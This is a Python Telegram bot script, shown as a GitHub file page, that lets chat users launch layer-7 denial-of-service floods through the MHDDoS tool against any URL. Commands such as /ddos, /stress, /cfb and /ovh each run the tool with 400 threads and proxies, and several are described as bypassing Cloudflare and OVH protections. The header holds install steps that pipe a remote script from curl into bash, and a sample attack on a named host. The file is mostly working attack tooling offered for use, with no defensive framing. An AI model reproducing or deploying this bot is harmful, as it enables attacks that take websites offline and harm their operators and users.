-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathbot.py
205 lines (172 loc) · 7.49 KB
/
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
"""
/usr/bin/python3 -m pip install --upgrade pip
pip3 uninstall telegram && pip3 uninstall telegram-bot python-telegram-bot && pip3 install -r requirements.txt &&git clone https://github.com/MatrixTM/MHDDoS.git && cd MHDDoS && pip3 install -r requirements.txt && curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/python_git_MHDDoS_proxy_install.sh | bash && python3 ~/MHDDoS/start.py GET panpan-bot1.glitch.me 1 100 mhddos_proxy/list 100 5
"""
import requests
import telegram
#from telegram import Update
from telegram.ext import Updater, CallbackContext, CommandHandler, MessageHandler, Filters
from telegram.update import Update
import re
import os
import subprocess
import concurrent.futures
#Telegram token
token = os.getenv('TELEGRAM_TOKEN')
bot_number = os.getenv('NUM')
updater = Updater(token,use_context=True)
s = 360
def start(update: Update, context: CallbackContext):
update.message.reply_text(f"DDOS BOT {bot_number}")
def tmps(update: Update, context: CallbackContext):
global s
s = update.message.text.replace('/t', '')
update.message.reply_text(f"Ok pour run pour {s} s")
def ddos_start(url):
subprocess.call(f'python3 ~/MHDDoS/start.py GET {url} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
def ddos(update: Update, context: CallbackContext):
url = update.message.text.replace('/ddos', '')
update.message.reply_text(f"METHOD: GET L7 THREADS : 400 pour: {s} s")
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
futures = []
for _ in url:
futures.append(executor.submit(ddos_start, url))
chat_id = str(update.effective_user.id)
def google_bot(update: Update, context: CallbackContext):
url = update.message.text.replace('/bot', '')
update.message.reply_text(f"METHOD: BOT L7 THREADS : 400\n\nBOT: Like Google bot pour: {s} s")
url_str = str(url)
print(url_str)
p = subprocess.Popen(f'python3 ~/MHDDoS/start.py BOT {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
if error:
update.message.reply_text(f'Erreur : {error.decode()}')
else:
# Divise l'output en plusieurs parties
parts = output.decode().split('\n')
# Envoie chaque partie de l'output au chat
for part in parts:
chat_id = str(update.effective_user.id)
update.message.bot.send_message(
chat_id = chat_id,
text=part,
disable_web_page_preview=True,
parse_mode='HTML'
)
def STRESS(update: Update, context: CallbackContext):
url = update.message.text.replace('/stress', '')
update.message.reply_text(f"METHOD: STRESS L7 THREADS : 400\n\nSTRESS: Send HTTP Packet With High Byte pour: {s} s")
url_str = str(url)
print(url_str)
p = subprocess.Popen(f'python3 ~/MHDDoS/start.py STRESS {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
if error:
update.message.reply_text(f'Erreur : {error.decode()}')
else:
# Divise l'output en plusieurs parties
parts = output.decode().split('\n')
# Envoie chaque partie de l'output au chat
for part in parts:
chat_id = str(update.effective_user.id)
update.message.bot.send_message(
chat_id = chat_id,
text=part,
disable_web_page_preview=True,
parse_mode='HTML'
)
def CFB(update: Update, context: CallbackContext):
url = update.message.text.replace('/CFB', '')
update.message.reply_text(f"METHOD: CFB L7 THREADS : 400\n\nCFB: CloudFlare Bypass (Ajoute des user-agents) pour: {s} s")
url_str = str(url)
print(url_str)
p = subprocess.Popen(f'python3 ~/MHDDoS/start.py CFB {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
if error:
update.message.reply_text(f'Erreur : {error.decode()}')
else:
# Divise l'output en plusieurs parties
parts = output.decode().split('\n')
# Envoie chaque partie de l'output au chat
for part in parts:
chat_id = str(update.effective_user.id)
update.message.bot.send_message(
chat_id = chat_id,
text=part,
disable_web_page_preview=True,
parse_mode='HTML'
)
def CFBUAM(update: Update, context: CallbackContext):
url = update.message.text.replace('/CFBUAM', '')
update.message.reply_text(f"METHOD: CFBUAM L7 THREADS : 400\n\nCFBUAM: CloudFlare Under Attack Mode Bypass (Met un referrer : facebook.com//lesite.com ou un site du genre pour bypass) pour: {s} s")
url_str = str(url)
print(url_str)
p = subprocess.Popen(f'python3 ~/MHDDoS/start.py CFBUAM {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
if error:
update.message.reply_text(f'Erreur : {error.decode()}')
else:
# Divise l'output en plusieurs parties
parts = output.decode().split('\n')
# Envoie chaque partie de l'output au chat
for part in parts:
chat_id = str(update.effective_user.id)
update.message.bot.send_message(
chat_id = chat_id,
text=part,
disable_web_page_preview=True,
parse_mode='HTML'
)
def TOR(update: Update, context: CallbackContext):
url = update.message.text.replace('/tor', '')
update.message.reply_text(f"METHOD: CFB L7 THREADS : 400\n\nTOR: Bypass onion website pour: {s} s")
url_str = str(url)
print(url_str)
p = subprocess.Popen(f'python3 ~/MHDDoS/start.py TOR {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
if error:
update.message.reply_text(f'Erreur : {error.decode()}')
else:
# Divise l'output en plusieurs parties
parts = output.decode().split('\n')
# Envoie chaque partie de l'output au chat
for part in parts:
chat_id = str(update.effective_user.id)
update.message.bot.send_message(
chat_id = chat_id,
text=part,
disable_web_page_preview=True,
parse_mode='HTML'
)
def OVH(update: Update, context: CallbackContext):
url = update.message.text.replace('/ovh', '')
update.message.reply_text(f"METHOD: OVH L7 THREADS : 400\n\nOVH: Bypass OVH pour: {s} s")
url_str = str(url)
print(url_str)
p = subprocess.Popen(f'python3 ~/MHDDoS/start.py OVH {url_str} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
if error:
update.message.reply_text(f'Erreur : {error.decode()}')
else:
# Divise l'output en plusieurs parties
parts = output.decode().split('\n')
# Envoie chaque partie de l'output au chat
for part in parts:
chat_id = str(update.effective_user.id)
update.message.bot.send_message(
chat_id = chat_id,
text=part,
disable_web_page_preview=True,
parse_mode='HTML'
)
#Trigger des fonctions
updater.dispatcher.add_handler(CommandHandler('t', tmps))
updater.dispatcher.add_handler(CommandHandler('ddos', ddos))
updater.dispatcher.add_handler(CommandHandler('start', start))
updater.dispatcher.add_handler(CommandHandler('bot', google_bot))
updater.dispatcher.add_handler(CommandHandler('stress', STRESS))
updater.dispatcher.add_handler(CommandHandler('cfb', CFB))
updater.dispatcher.add_handler(CommandHandler('cfbuam', CFBUAM))
updater.dispatcher.add_handler(CommandHandler('tor', TOR))
updater.dispatcher.add_handler(CommandHandler('ovh', OVH))
#Run the bot
updater.start_polling()